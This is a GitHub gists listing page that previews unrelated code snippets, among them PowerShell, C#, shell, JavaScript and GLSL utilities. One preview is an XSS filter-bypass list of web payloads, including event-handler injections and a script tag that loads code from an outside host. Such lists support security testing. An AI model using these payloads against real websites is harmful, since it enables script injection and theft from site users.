Skip to content

Instantly share code, notes, and snippets.

View Geograph-us's full-sized avatar
🇺🇦
no war

Geograph Geograph-us

🇺🇦
no war
View GitHub Profile
@zippy1981
zippy1981 / DisplayImage.ps1
Created May 13, 2011 02:20
Display an image from Windows Powershell
# Loosely based on http://www.vistax64.com/powershell/202216-display-image-powershell.html
[void][reflection.assembly]::LoadWithPartialName("System.Windows.Forms")
$file = (get-item 'C:\Users\Public\Pictures\Sample Pictures\Chrysanthemum.jpg')
#$file = (get-item "c:\image.jpg")
$img = [System.Drawing.Image]::Fromfile($file);
# This tip from http://stackoverflow.com/questions/3358372/windows-forms-look-different-in-powershell-and-powershell-ise-why/3359274#3359274
@MarcosBL
MarcosBL / gist:7178549
Last active July 15, 2023 21:41
Use Dropbox as a Free Webseed for your Torrents

Use Dropbox as a Free Webseed for your Torrents

So, what exactly are we doing?

We are going to upload the file we want to distribute in the "public" Dropbox folder, then use that file's URL as the webseed for a new torrent. Then shut off our computer knowing that our file is well looked-after and you will not receive a stern email from Dropbox.

How to get started

@kad1r
kad1r / GenerateThumbFromVideo.cs
Created December 12, 2013 00:32
Taking screenshot and generating image from video with FFMPEG
/// <summary>
/// file means video file with extension ex: video.mp4
/// </summary>
/// <param name="file"></param>
/// <returns></returns>
public static string GenerateThumbFromVideo(string file)
{
string thumbUploadDirectory = "", directory = "", ApplicationPath = "";
string thumb = "";
thumbUploadDirectory = @"";
@aksakalli
aksakalli / SimpleHTTPServer.cs
Last active June 7, 2024 08:38
SimpleHTTPServer in C#
// MIT License - Copyright (c) 2016 Can Güney Aksakalli
// https://aksakalli.github.io/2014/02/24/simple-http-server-with-csparp.html
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Net.Sockets;
using System.Net;
using System.IO;
@fginter
fginter / gist:2d4662faeef79acdb772
Last active August 31, 2020 06:55
Super-fast sort - uniq for ngram counting

The problem:

  • 1.3TB data with 5B lines in a 72GB .gz file
  • Need to sort the lines and get a count for each unique line, basically a sort | uniq -c
  • Have a machine with 24 cores, 128GB of memory, but not 1.3TB of free disk space
  • Solution: sort | uniq -c with lots of non-standard options and pigz to take care of compression

Here's the sort part, uniq I used as usual.

INPUT=$1

OUTPUT=${INPUT%.gz}.sorted.gz

@tobek
tobek / get-image-urls.js
Last active June 18, 2024 19:24
Save images from chrome inspector/dev tools network tab
/* open up chrome dev tools (Menu > More tools > Developer tools)
* go to network tab, refresh the page, wait for images to load (on some sites you may have to scroll down to the images for them to start loading)
* right click/ctrl click on any entry in the network log, select Copy > Copy All as HAR
* open up JS console and enter: var har = [paste]
* (pasting could take a while if there's a lot of requests)
* paste the following JS code into the console
* copy the output, paste into a text file
* open up a terminal in same directory as text file, then: wget -i [that file]
*/
@soar
soar / add-task.bat
Created March 29, 2015 17:29
Windows VPN auto routes
schtasks /create /F /RL HIGHEST /TN "Маршруты для VPN" /TR "C:\vpnroutes.bat /connect" /SC ONEVENT /EC System /MO "*[System[Provider[@Name='Rasman'] and (Level=4 or Level=0) and (EventID=20267)]] and *[EventData[Data='My VPN Connection']]"
@ChiChou
ChiChou / eval.stripper.js
Last active May 24, 2023 03:13
Hook eval to deobfuscate javascript
/**
* requires node.js with ES6 support, or babel
*/
'use strict';
const vm = require('vm');
const fs = require('fs');
const __loggers__ = {};
function log(tag) {
@rvrsh3ll
rvrsh3ll / xxsfilterbypass.lst
Last active June 8, 2024 08:04
XSS Filter Bypass List
';alert(String.fromCharCode(88,83,83))//';alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//--></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>
'';!--"<XSS>=&{()}
0\"autofocus/onfocus=alert(1)--><video/poster/onerror=prompt(2)>"-confirm(3)-"
<script/src=data:,alert()>
<marquee/onstart=alert()>
<video/poster/onerror=alert()>
<isindex/autofocus/onfocus=alert()>
<SCRIPT SRC=http://ha.ckers.org/xss.js></SCRIPT>
<IMG SRC="javascript:alert('XSS');">
<IMG SRC=javascript:alert('XSS')>
@igv
igv / KrigBilateral.glsl
Last active June 14, 2024 21:42
Good test pattern: https://www.rtings.com/images/test-materials/2017/chroma-444.png (Compress it with any lossy codec first, for example jpeg. You can do it with mpv, only add screenshot-jpeg-source-chroma=no to mpv.conf). Usage: glsl-shader="~~/KrigBilateral.glsl"
// KrigBilateral by Shiandow
//
// This library is free software; you can redistribute it and/or
// modify it under the terms of the GNU Lesser General Public
// License as published by the Free Software Foundation; either
// version 3.0 of the License, or (at your option) any later version.
//
// This library is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU